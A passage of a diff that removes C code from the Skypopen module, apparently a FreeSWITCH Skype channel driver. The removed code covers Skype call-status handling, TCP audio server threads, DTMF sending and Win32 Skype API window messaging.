-                                                                                       ERRORA("start_audio_threads FAILED\n", SKYPOPEN_P_LOG);
-                                                                                       return CALLFLOW_INCOMING_HANGUP;
-                                                                               }
-                                                                       }
-                                                                       skypopen_sleep(1000);
-                                                                       sprintf(msg_to_skype, "ALTER CALL %s SET_INPUT PORT=\"%d\"", id, tech_pvt->tcp_cli_port);
-                                                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                                                       skypopen_sleep(1000);
-                                                                       sprintf(msg_to_skype, "#output ALTER CALL %s SET_OUTPUT PORT=\"%d\"", id, tech_pvt->tcp_srv_port);
-                                                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                                               }
-                                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_INPROGRESS;
-                                                               if (!strlen(tech_pvt->session_uuid_str)) {
-                                                                       DEBUGA_SKYPE("New Inbound Channel!\n\n\n\n", SKYPOPEN_P_LOG);
-                                                                       new_inbound_channel(tech_pvt);
-                                                               } else {
-                                                                       tech_pvt->interface_state = SKYPOPEN_STATE_UP;
-                                                                       DEBUGA_SKYPE("Outbound Channel Answered! session_uuid_str=%s\n", SKYPOPEN_P_LOG, tech_pvt->session_uuid_str);
-                                                                       outbound_channel_answered(tech_pvt);
-                                                               }
-                                                       } else {
-                                                               DEBUGA_SKYPE("I'm on %s, skype_call %s is NOT MY call, ignoring\n", SKYPOPEN_P_LOG, tech_pvt->skype_call_id, id);
-                                                       }
-                                               } else {
-                                                       tech_pvt->skype_callflow = CALLFLOW_STATUS_INPROGRESS;
-                                                       DEBUGA_SKYPE("Back from REMOTEHOLD!\n", SKYPOPEN_P_LOG);
-                                               }
-
-                                       } else if (!strcasecmp(value, "REMOTEHOLD")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_REMOTEHOLD;
-                                               DEBUGA_SKYPE("skype_call: %s is now REMOTEHOLD\n", SKYPOPEN_P_LOG, id);
-
-                                       } else if (!strcasecmp(value, "BUSY")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
-                                               DEBUGA_SKYPE
-                                                       ("we tried to call Skype on skype_call %s and remote party (destination) was BUSY. Our outbound call has failed\n",
-                                                        SKYPOPEN_P_LOG, id);
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               tech_pvt->skype_call_id[0] = '\0';
-                                               skypopen_sleep(1000);
-                                               return CALLFLOW_INCOMING_HANGUP;
-                                       } else if (!strcasecmp(value, "WAITING_REDIAL_COMMAND")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
-                                               DEBUGA_SKYPE
-                                                       ("we tried to call Skype on skype_call %s and remote party (destination) has rejected us (WAITING_REDIAL_COMMAND). Our outbound call has failed\n",
-                                                        SKYPOPEN_P_LOG, id);
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               tech_pvt->skype_call_id[0] = '\0';
-                                               skypopen_sleep(1000);
-                                               return CALLFLOW_INCOMING_HANGUP;
-                                       } else {
-                                               WARNINGA("skype_call: %s, STATUS: %s is not recognized\n", SKYPOPEN_P_LOG, id, value);
-                                       }
-                               }                               //STATUS
-                       }                                       //CALL
-                       /* the "numbered" messages that follows are used by the directory application, not yet ported */
-                       if (!strcasecmp(message, "#333")) {
-                               memset(tech_pvt->skype_friends, 0, 4096);
-                               skypopen_strncpy(tech_pvt->skype_friends, &message_2[11], 4095);
-                       }
-                       if (!strcasecmp(message, "#222")) {
-                               memset(tech_pvt->skype_fullname, 0, 512);
-                               skypopen_strncpy(tech_pvt->skype_fullname, &message_2[10], 511);
-                       }
-                       if (!strcasecmp(message, "#765")) {
-                               memset(tech_pvt->skype_displayname, 0, 512);
-                               skypopen_strncpy(tech_pvt->skype_displayname, &message_2[10], 511);
-                       }
-                       a = 0;
-               }                                               //message end
-       }                                                       //read_from_pipe
-       return 0;
-}
-
-void *skypopen_do_tcp_srv_thread_func(void *obj)
-{
-       private_t *tech_pvt = obj;
-       int s;
-       unsigned int len;
-#if defined(WIN32) && !defined(__CYGWIN__)
-       int sin_size;
-       int size = sizeof(int);
-#else /* WIN32 */
-       unsigned int sin_size;
-       unsigned int size = sizeof(int);
-#endif /* WIN32 */
-       unsigned int fd;
-       short srv_in[SAMPLES_PER_FRAME * 10];
-       struct sockaddr_in remote_addr;
-       int sockbufsize = 0;
-
-       s = skypopen_socket_create_and_bind(tech_pvt, &tech_pvt->tcp_srv_port);
-       if (s < 0) {
-               ERRORA("skypopen_socket_create_and_bind error!\n", SKYPOPEN_P_LOG);
-               return NULL;
-       }
-       DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPOPEN_P_LOG);
-
-       listen(s, 6);
-
-       sin_size = sizeof(remote_addr);
-
-       while (tech_pvt && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN
-                  && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
-                          || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
-                          || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPOPEN_STATE_UP)) {
-
-               unsigned int fdselectgio;
-               int rtgio;
-               fd_set fsgio;
-               struct timeval togio;
-
-               if (!(running && tech_pvt->running))
-                       break;
-               FD_ZERO(&fsgio);
-               togio.tv_usec = 20000;  //20msec
-               togio.tv_sec = 0;
-               fdselectgio = s;
-               FD_SET(fdselectgio, &fsgio);
-
-               rtgio = select(fdselectgio + 1, &fsgio, NULL, NULL, &togio);
-
-               if (rtgio) {
-
-                       while (s > 0 && (fd = accept(s, (struct sockaddr *) &remote_addr, &sin_size)) > 0) {
-                               DEBUGA_SKYPE("ACCEPTED here I send you %d\n", SKYPOPEN_P_LOG, tech_pvt->tcp_srv_port);
-
-                               sockbufsize = 0;
-                               size = sizeof(int);
-                               getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &sockbufsize, &size);
-                               DEBUGA_SKYPE("3 SO_RCVBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-                               sockbufsize = 0;
-                               size = sizeof(int);
-                               getsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *) &sockbufsize, &size);
-                               DEBUGA_SKYPE("3 SO_SNDBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-
-
-                               if (!(running && tech_pvt->running))
-                                       break;
-                               while (tech_pvt && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN
-                                          && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
-                                                  || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
-                                                  || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPOPEN_STATE_UP)) {
-
-                                       unsigned int fdselect;
-                                       int rt;
-                                       fd_set fs;
-                                       struct timeval to;
-                                       int nospace;
-
-                                       if (!(running && tech_pvt->running))
-                                               break;
-                                       fdselect = fd;
-                                       FD_ZERO(&fs);
-                                       FD_SET(fdselect, &fs);
-                                       to.tv_usec = 60000;     //60 msec
-                                       to.tv_sec = 0;
-
-                                       rt = select(fdselect + 1, &fs, NULL, NULL, &to);
-                                       if (rt > 0) {
-
-                                               if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
-                                                       len = recv(fd, (char *) srv_in, 640, 0);
-                                               } else {
-                                                       skypopen_sleep(10000);
-                                                       continue;
-                                               }
-                                               if (tech_pvt->begin_to_read == 0) {
-                                                       DEBUGA_SKYPE("len=%d\n", SKYPOPEN_P_LOG, len);
-                                                       skypopen_sleep(10000);
-                                                       continue;
-                                               }
-
-                                               if (len == -1) {
-                                                       DEBUGA_SKYPE("len=%d, error: %s\n", SKYPOPEN_P_LOG, len, strerror(errno));
-                                                       break;
-                                               }
-                                               nospace = 0;
-                                               if (len > 0) {
-                                                       switch_mutex_lock(tech_pvt->mutex_audio_srv);
-                                                       if (switch_buffer_freespace(tech_pvt->read_buffer) < len) {
-                                                               switch_buffer_zero(tech_pvt->read_buffer);
-                                                               nospace = 1;
-                                                               //switch_buffer_toss(tech_pvt->read_buffer, len);
-                                                       }
-                                                       switch_buffer_write(tech_pvt->read_buffer, srv_in, len);
-                                                       switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-                                                       if (nospace) {
-                                                               DEBUGA_SKYPE("NO SPACE READ: there was no space for: %d\n", SKYPOPEN_P_LOG, len);
-                                                       }
-                                               } else if (len == 0) {
-                                                       DEBUGA_SKYPE("CLOSED\n", SKYPOPEN_P_LOG);
-                                                       break;
-                                               } else {
-                                                       DEBUGA_SKYPE("len=%d\n", SKYPOPEN_P_LOG, len);
-                                               }
-
-                                       } else if (rt == 0) {
-                                               continue;
-                                       } else {
-                                               DEBUGA_SKYPE("SRV rt=%d\n", SKYPOPEN_P_LOG, rt);
-                                               break;
-                                       }
-
-                               }
-
-                               DEBUGA_SKYPE("Skype incoming audio GONE\n", SKYPOPEN_P_LOG);
-                               tech_pvt->skype_callflow = CALLFLOW_INCOMING_HANGUP;
-                               skypopen_close_socket(fd);
-                               break;
-                       }
-                       break;
-               }
-       }
-
-       DEBUGA_SKYPE("incoming audio (read) server (I am it) EXITING\n", SKYPOPEN_P_LOG);
-       skypopen_close_socket(s);
-       s = -1;
-       tech_pvt->tcp_srv_thread = NULL;
-       return NULL;
-}
-
-void *skypopen_do_tcp_cli_thread_func(void *obj)
-{
-       private_t *tech_pvt = obj;
-       int s;
-       struct sockaddr_in remote_addr;
-       unsigned int len;
-       unsigned int fd;
-       short cli_out[SAMPLES_PER_FRAME * 2 * 10];
-#ifdef WIN32
-       int sin_size;
-       int size = sizeof(int);
-#else
-       unsigned int sin_size;
-       unsigned int size = sizeof(int);
-#endif /* WIN32 */
-       int sockbufsize = 0;
-
-       s = skypopen_socket_create_and_bind(tech_pvt, &tech_pvt->tcp_cli_port);
-       if (s < 0) {
-               ERRORA("skypopen_socket_create_and_bind error!\n", SKYPOPEN_P_LOG);
-               return NULL;
-       }
-
-
-
-       DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPOPEN_P_LOG);
-
-       listen(s, 6);
-
-       sin_size = sizeof(remote_addr);
-
-       while (tech_pvt && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN
-                  && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
-                          || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
-                          || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPOPEN_STATE_UP)) {
-
-               unsigned int fdselectgio;
-               int rtgio;
-               fd_set fsgio;
-               struct timeval togio;
-
-               if (!(running && tech_pvt->running))
-                       break;
-               FD_ZERO(&fsgio);
-               togio.tv_usec = 60000;  //20msec
-               togio.tv_sec = 0;
-               fdselectgio = s;
-               FD_SET(fdselectgio, &fsgio);
-
-               rtgio = select(fdselectgio + 1, &fsgio, NULL, NULL, &togio);
-
-               if (rtgio) {
-
-                       while (s > 0 && (fd = accept(s, (struct sockaddr *) &remote_addr, &sin_size)) > 0) {
-                               DEBUGA_SKYPE("ACCEPTED here you send me %d\n", SKYPOPEN_P_LOG, tech_pvt->tcp_cli_port);
-
-                               sockbufsize = 0;
-                               size = sizeof(int);
-                               getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &sockbufsize, &size);
-                               DEBUGA_SKYPE("4 SO_RCVBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-                               sockbufsize = 0;
-                               size = sizeof(int);
-                               getsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *) &sockbufsize, &size);
-                               DEBUGA_SKYPE("4 SO_SNDBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-
-
-
-                               if (!(running && tech_pvt->running))
-                                       break;
-                               while (tech_pvt && tech_pvt->interface_state != SKYPOPEN_STATE_DOWN
-                                          && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
-                                                  || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
-                                                  || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPOPEN_STATE_UP)) {
-                                       size_t bytes_to_write;
-
-                                       if (!(running && tech_pvt->running))
-                                               break;
-
-                                       if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next
-                                               && tech_pvt->interface_state != SKYPOPEN_STATE_HANGUP_REQUESTED) {
-                                               switch_core_timer_next(&tech_pvt->timer_write);
-                                       }
-
-                                       if (tech_pvt->begin_to_write == 0) {
-                                               memset(cli_out, 255, sizeof(cli_out));
-                                               bytes_to_write = 640;
-                                               len = send(fd, (char *) cli_out, bytes_to_write, 0);
-                                               if (len == -1) {
-                                                       DEBUGA_SKYPE("len=%d, error: %s\n", SKYPOPEN_P_LOG, len, strerror(errno));
-                                                       break;
-                                               }
-                                               skypopen_sleep(10000);
-                                               continue;
-                                       } else {
-
-                                               bytes_to_write = 0;
-
-                                               if (tech_pvt->skype_callflow == CALLFLOW_INCOMING_HANGUP) {
-                                                       break;
-                                               }
-                                               switch_mutex_lock(tech_pvt->mutex_audio_cli);
-                                               if (switch_buffer_inuse(tech_pvt->write_buffer)) {
-                                                       bytes_to_write = switch_buffer_read(tech_pvt->write_buffer, cli_out, 640);
-                                               }
-                                               switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-
-                                               if (!bytes_to_write) {
-                                                       if(tech_pvt->write_silence_when_idle){
-                                                               memset(cli_out, 255, sizeof(cli_out));
-                                                               bytes_to_write = 640;
-                                                               //DEBUGA_SKYPE("WRITE Silence!\n", SKYPOPEN_P_LOG);
-                                                       }else{
-                                                               continue;
-                                                       }
-                                               }
-                                               /* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
-                                               if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
-                                                       len = send(fd, (char *) cli_out, bytes_to_write, 0);
-                                                       if (len == -1) {
-                                                               DEBUGA_SKYPE("len=%d, error: %s\n", SKYPOPEN_P_LOG, len, strerror(errno));
-                                                               break;
-                                                       }
-                                                       if (len != bytes_to_write) {
-                                                               DEBUGA_SKYPE("len=%d\n", SKYPOPEN_P_LOG, len);
-                                                       }
-                                               }
-                                       }
-
-                               }
-                               DEBUGA_SKYPE("Skype outbound audio GONE\n", SKYPOPEN_P_LOG);
-                               tech_pvt->skype_callflow = CALLFLOW_INCOMING_HANGUP;
-                               skypopen_close_socket(fd);
-                               break;
-                       }
-                       break;
-               }
-       }
-
-       DEBUGA_SKYPE("outbound audio server (I am it) EXITING\n", SKYPOPEN_P_LOG);
-       skypopen_close_socket(s);
-       s = -1;
-       tech_pvt->tcp_cli_thread = NULL;
-       return NULL;
-}
-
-int skypopen_senddigit(private_t * tech_pvt, char digit)
-{
-       char msg_to_skype[1024];
-
-       DEBUGA_SKYPE("DIGIT received: %c\n", SKYPOPEN_P_LOG, digit);
-       sprintf(msg_to_skype, "SET CALL %s DTMF %c", tech_pvt->skype_call_id, digit);
-       skypopen_signaling_write(tech_pvt, msg_to_skype);
-
-       return 0;
-}
-
-int skypopen_call(private_t * tech_pvt, char *rdest, int timeout)
-{
-       char msg_to_skype[1024];
-
-       DEBUGA_SKYPE("Calling Skype, rdest is: %s\n", SKYPOPEN_P_LOG, rdest);
-
-       sprintf(msg_to_skype, "CALL %s", rdest);
-       if (skypopen_signaling_write(tech_pvt, msg_to_skype) < 0) {
-               ERRORA("failed to communicate with Skype client, now exit\n", SKYPOPEN_P_LOG);
-               return -1;
-       }
-       return 0;
-}
-
-/***************************/
-/* PLATFORM SPECIFIC */
-/***************************/
-#if defined(WIN32) && !defined(__CYGWIN__)
-int skypopen_pipe_read(switch_file_t * pipe, short *buf, int howmany)
-{
-       switch_size_t quantity;
-
-       quantity = howmany;
-
-       switch_file_read(pipe, buf, &quantity);
-
-       howmany = quantity;
-
-       return howmany;
-}
-
-int skypopen_pipe_write(switch_file_t * pipe, short *buf, int howmany)
-{
-       switch_size_t quantity;
-
-       quantity = howmany;
-
-       switch_file_write(pipe, buf, &quantity);
-
-       howmany = quantity;
-
-       return howmany;
-}
-
-int skypopen_close_socket(unsigned int fd)
-{
-       int res;
-
-       res = closesocket(fd);
-
-       return res;
-}
-
-int skypopen_audio_init(private_t * tech_pvt)
-{
-       switch_status_t rv;
-       rv = switch_file_pipe_create(&tech_pvt->audiopipe_srv[0], &tech_pvt->audiopipe_srv[1], skypopen_module_pool);
-       rv = switch_file_pipe_create(&tech_pvt->audiopipe_cli[0], &tech_pvt->audiopipe_cli[1], skypopen_module_pool);
-       return 0;
-}
-#else /* WIN32 */
-int skypopen_pipe_read(int pipe, short *buf, int howmany)
-{
-       howmany = read(pipe, buf, howmany);
-       return howmany;
-}
-
-int skypopen_pipe_write(int pipe, short *buf, int howmany)
-{
-       if (buf) {
-               howmany = write(pipe, buf, howmany);
-               return howmany;
-       } else {
-               return 0;
-       }
-}
-
-int skypopen_close_socket(unsigned int fd)
-{
-       int res;
-
-       res = close(fd);
-
-       return res;
-}
-
-int skypopen_audio_init(private_t * tech_pvt)
-{
-       if (pipe(tech_pvt->audiopipe_srv)) {
-               fcntl(tech_pvt->audiopipe_srv[0], F_SETFL, O_NONBLOCK);
-               fcntl(tech_pvt->audiopipe_srv[1], F_SETFL, O_NONBLOCK);
-       }
-       if (pipe(tech_pvt->audiopipe_cli)) {
-               fcntl(tech_pvt->audiopipe_cli[0], F_SETFL, O_NONBLOCK);
-               fcntl(tech_pvt->audiopipe_cli[1], F_SETFL, O_NONBLOCK);
-       }
-
-/* this pipe is the audio fd for asterisk to poll on during a call. FS do not use it */
-       tech_pvt->skypopen_sound_capt_fd = tech_pvt->audiopipe_srv[0];
-
-       return 0;
-}
-#endif /* WIN32 */
-
-#ifdef WIN32
-
-enum {
-       SKYPECONTROLAPI_ATTACH_SUCCESS = 0,     /*  Client is successfully 
-                                                                                  attached and API window handle can be found
-                                                                                  in wParam parameter */
-       SKYPECONTROLAPI_ATTACH_PENDING_AUTHORIZATION = 1,       /*  Skype has acknowledged
-                                                                                                                  connection request and is waiting
-                                                                                                                  for confirmation from the user. */
-       /*  The client is not yet attached 
-        * and should wait for SKYPECONTROLAPI_ATTACH_SUCCESS message */
-       SKYPECONTROLAPI_ATTACH_REFUSED = 2,     /*  User has explicitly
-                                                                                  denied access to client */
-       SKYPECONTROLAPI_ATTACH_NOT_AVAILABLE = 3,       /*  API is not available
-                                                                                                  at the moment.
-                                                                                                  For example, this happens when no user
-                                                                                                  is currently logged in. */
-       /*  Client should wait for 
-        * SKYPECONTROLAPI_ATTACH_API_AVAILABLE 
-        * broadcast before making any further */
-       /*  connection attempts. */
-       SKYPECONTROLAPI_ATTACH_API_AVAILABLE = 0x8001
-};
-
-/* Visual C do not have strsep? */
-char
-    *strsep(char **stringp, const char *delim)
-{
-       char *res;
-
-       if (!stringp || !*stringp || !**stringp)
-               return (char *) 0;
-
-       res = *stringp;
-       while (**stringp && !strchr(delim, **stringp))
-               ++(*stringp);
-
-       if (**stringp) {
-               **stringp = '\0';
-               ++(*stringp);
-       }
-
-       return res;
-}
-
-int skypopen_signaling_write(private_t * tech_pvt, char *msg_to_skype)
-{
-       static char acInputRow[1024];
-       COPYDATASTRUCT oCopyData;
-
-       DEBUGA_SKYPE("SENDING: |||%s||||\n", SKYPOPEN_P_LOG, msg_to_skype);
-
-       sprintf(acInputRow, "%s", msg_to_skype);
-       /*  send command to skype */
-       oCopyData.dwData = 0;
-       oCopyData.lpData = acInputRow;
-       oCopyData.cbData = strlen(acInputRow) + 1;
-       if (oCopyData.cbData != 1) {
-               if (SendMessage
-                       (tech_pvt->SkypopenHandles.win32_hGlobal_SkypeAPIWindowHandle, WM_COPYDATA,
-                        (WPARAM) tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle, (LPARAM) & oCopyData) == FALSE) {
-                       ERRORA("Sending message failed - probably Skype crashed.\n\nPlease shutdown Skypopen, then launch Skypopen and try again.\n", SKYPOPEN_P_LOG);
-                       return -1;
-               }
-       }
-
-       return 0;
-
-}
-
-LRESULT APIENTRY skypopen_present(HWND hWindow, UINT uiMessage, WPARAM uiParam, LPARAM ulParam)
-{
-       LRESULT lReturnCode;
-       int fIssueDefProc;
-       private_t *tech_pvt = NULL;
-
-       lReturnCode = 0;
-       fIssueDefProc = 0;
-       tech_pvt = (private_t *) GetWindowLong(hWindow, GWL_USERDATA);
-
-       if (!running) {
-               DEBUGA_SKYPE("let's DIE!\n", SKYPOPEN_P_LOG);
-               tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle = NULL;
-               PostQuitMessage(0);
-               return lReturnCode;
-       }
-       switch (uiMessage) {
-       case WM_CREATE:
-               tech_pvt = (private_t *) ((LPCREATESTRUCT) ulParam)->lpCreateParams;
-               SetWindowLong(hWindow, GWL_USERDATA, (LONG) tech_pvt);
-               DEBUGA_SKYPE("got CREATE\n", SKYPOPEN_P_LOG);
-               break;
-       case WM_DESTROY:
-               DEBUGA_SKYPE("got DESTROY\n", SKYPOPEN_P_LOG);
-               tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle = NULL;
-               PostQuitMessage(0);
-               break;
-       case WM_COPYDATA:
-               if (tech_pvt->SkypopenHandles.win32_hGlobal_SkypeAPIWindowHandle == (HWND) uiParam) {
-                       unsigned int howmany;
-                       char msg_from_skype[2048];
-
-                       PCOPYDATASTRUCT poCopyData = (PCOPYDATASTRUCT) ulParam;
-
-                       memset(msg_from_skype, '\0', sizeof(msg_from_skype));
-                       skypopen_strncpy(msg_from_skype, (const char *) poCopyData->lpData, sizeof(msg_from_skype) - 2);
-
-                       howmany = strlen(msg_from_skype) + 1;
-                       howmany = skypopen_pipe_write(tech_pvt->SkypopenHandles.fdesc[1], (short *) msg_from_skype, howmany);
-                       lReturnCode = 1;
-               }
-               break;
-       default:
-               if (tech_pvt && tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach) {
-                       if (uiMessage == tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach) {
-                               switch (ulParam) {
-                               case SKYPECONTROLAPI_ATTACH_SUCCESS:
-                                       if (!tech_pvt->SkypopenHandles.currentuserhandle) {
-                                               //DEBUGA_SKYPE("\n\n\tConnected to Skype API!\n", SKYPOPEN_P_LOG);
-                                               tech_pvt->SkypopenHandles.api_connected = 1;
-                                               tech_pvt->SkypopenHandles.win32_hGlobal_SkypeAPIWindowHandle = (HWND) uiParam;
-                                               tech_pvt->SkypopenHandles.win32_hGlobal_SkypeAPIWindowHandle = tech_pvt->SkypopenHandles.win32_hGlobal_SkypeAPIWindowHandle;
-                                       }
-                                       break;
-                               case SKYPECONTROLAPI_ATTACH_PENDING_AUTHORIZATION:
-                                       skypopen_sleep(5000);
-                                       break;
-                               case SKYPECONTROLAPI_ATTACH_REFUSED:
-                                       ERRORA("Skype client refused to be connected by Skypopen!\n", SKYPOPEN_P_LOG);
-                                       break;
-                               case SKYPECONTROLAPI_ATTACH_NOT_AVAILABLE:
-                                       ERRORA("Skype API not (yet?) available\n", SKYPOPEN_P_LOG);
-                                       break;
-                               case SKYPECONTROLAPI_ATTACH_API_AVAILABLE:
-                                       DEBUGA_SKYPE("Skype API available\n", SKYPOPEN_P_LOG);
-                                       skypopen_sleep(5000);
-                                       break;
-                               default:
-                                       WARNINGA("GOT AN UNKNOWN SKYPE WINDOWS MSG\n", SKYPOPEN_P_LOG);
-                               }
-                               lReturnCode = 1;
-                               break;
-                       }
-               }
-               fIssueDefProc = 1;
-               break;
-       }
-       if (fIssueDefProc)
-               lReturnCode = DefWindowProc(hWindow, uiMessage, uiParam, ulParam);
-       return (lReturnCode);
-}
-
-int win32_Initialize_CreateWindowClass(private_t * tech_pvt)
-{
-       unsigned char *paucUUIDString;
-       RPC_STATUS lUUIDResult;
-       int fReturnStatus;
-       UUID oUUID;
-
-       fReturnStatus = 0;
-       lUUIDResult = UuidCreate(&oUUID);
-       tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle = (HINSTANCE) OpenProcess(PROCESS_DUP_HANDLE, FALSE, GetCurrentProcessId());
-       if (tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle != NULL && (lUUIDResult == RPC_S_OK || lUUIDResult == RPC_S_UUID_LOCAL_ONLY)) {
-               if (UuidToString(&oUUID, &paucUUIDString) == RPC_S_OK) {
-                       WNDCLASS oWindowClass;
-
-                       strcpy(tech_pvt->SkypopenHandles.win32_acInit_WindowClassName, "Skype-API-Skypopen-");
-                       strcat(tech_pvt->SkypopenHandles.win32_acInit_WindowClassName, (char *) paucUUIDString);
-
-                       oWindowClass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
-                       oWindowClass.lpfnWndProc = (WNDPROC) & skypopen_present;
-                       oWindowClass.cbClsExtra = 0;
-                       oWindowClass.cbWndExtra = 0;
-                       oWindowClass.hInstance = tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle;
-                       oWindowClass.hIcon = NULL;
-                       oWindowClass.hCursor = NULL;
-                       oWindowClass.hbrBackground = NULL;
-                       oWindowClass.lpszMenuName = NULL;
-                       oWindowClass.lpszClassName = tech_pvt->SkypopenHandles.win32_acInit_WindowClassName;
-
-                       if (RegisterClass(&oWindowClass) != 0)
-                               fReturnStatus = 1;
-
-                       RpcStringFree(&paucUUIDString);
-               }
-       }
-       if (fReturnStatus == 0)
-               CloseHandle(tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle);
-       tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle = NULL;
-       return (fReturnStatus);
-}
-
-void win32_DeInitialize_DestroyWindowClass(private_t * tech_pvt)
-{
-       UnregisterClass(tech_pvt->SkypopenHandles.win32_acInit_WindowClassName, tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle);
-       CloseHandle(tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle);
-       tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle = NULL;
-}
-
-int win32_Initialize_CreateMainWindow(private_t * tech_pvt)
-{
-       tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle =
-               CreateWindowEx(WS_EX_APPWINDOW | WS_EX_WINDOWEDGE,
-                                          tech_pvt->SkypopenHandles.win32_acInit_WindowClassName, "",
-                                          WS_BORDER | WS_SYSMENU | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT,
-                                          128, 128, NULL, 0, tech_pvt->SkypopenHandles.win32_hInit_ProcessHandle, tech_pvt);
-       return (tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle != NULL ? 1 : 0);
-}
-
-void win32_DeInitialize_DestroyMainWindow(private_t * tech_pvt)
-{
-       if (tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle != NULL)
-               DestroyWindow(tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle), tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle = NULL;
-}
-
-void *skypopen_do_skypeapi_thread_func(void *obj)
-{
-       private_t *tech_pvt = obj;
-#if defined(WIN32) && !defined(__CYGWIN__)
-       switch_status_t rv;
-
-       switch_file_pipe_create(&tech_pvt->SkypopenHandles.fdesc[0], &tech_pvt->SkypopenHandles.fdesc[1], skypopen_module_pool);
-       rv = switch_file_pipe_create(&tech_pvt->SkypopenHandles.fdesc[0], &tech_pvt->SkypopenHandles.fdesc[1], skypopen_module_pool);
-#else /* WIN32 */
-       if (pipe(tech_pvt->SkypopenHandles.fdesc)) {
-               fcntl(tech_pvt->SkypopenHandles.fdesc[0], F_SETFL, O_NONBLOCK);
-               fcntl(tech_pvt->SkypopenHandles.fdesc[1], F_SETFL, O_NONBLOCK);
-       }
-#endif /* WIN32 */
-
-       tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach = RegisterWindowMessage("SkypeControlAPIAttach");
-       tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
-
-       skypopen_sleep(200000);         //0,2 sec
-
-       if (tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIAttach != 0
-               && tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover != 0) {
-               if (win32_Initialize_CreateWindowClass(tech_pvt)) {
-                       if (win32_Initialize_CreateMainWindow(tech_pvt)) {
-                               if (SendMessage
-                                       (HWND_BROADCAST,
-                                        tech_pvt->SkypopenHandles.win32_uiGlobal_MsgID_SkypeControlAPIDiscover,
-                                        (WPARAM) tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle, 0) != 0) {
-                                       tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle = tech_pvt->SkypopenHandles.win32_hInit_MainWindowHandle;
-                                       while (running && tech_pvt->running) {
-                                               MSG oMessage;
-                                               if (!(running && tech_pvt->running))
-                                                       break;
-                                               while (GetMessage(&oMessage, 0, 0, 0)) {
-                                                       TranslateMessage(&oMessage);
-                                                       DispatchMessage(&oMessage);
-                                               }
-                                       }
-                               }
-                               win32_DeInitialize_DestroyMainWindow(tech_pvt);
-                       }
-                       win32_DeInitialize_DestroyWindowClass(tech_pvt);
-               }
-       }
-       DEBUGA_SKYPE("EXITING\n", SKYPOPEN_P_LOG);
-       return NULL;
-}
-
-#else /* NOT WIN32 */
